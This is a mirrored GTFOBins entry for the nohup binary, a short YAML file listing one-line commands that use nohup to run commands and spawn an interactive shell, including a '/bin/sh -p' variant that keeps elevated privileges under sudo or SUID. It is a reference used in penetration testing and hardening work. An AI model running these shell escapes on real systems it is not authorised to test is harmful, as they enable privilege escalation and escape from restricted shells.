1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/nohup
2026-01-06 17:44:19 +01:00

26 lines
592 B
Plaintext

---
functions:
command:
- code: |-
nohup /path/to/command
cat nohup.out
comment: |-
The `nohup.out` file contains the standard output and error of the command.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'
comment: |-
This creates a `nohup.out` file in the current working directory.
contexts:
sudo:
suid:
code: |-
nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'
shell: false
unprivileged:
...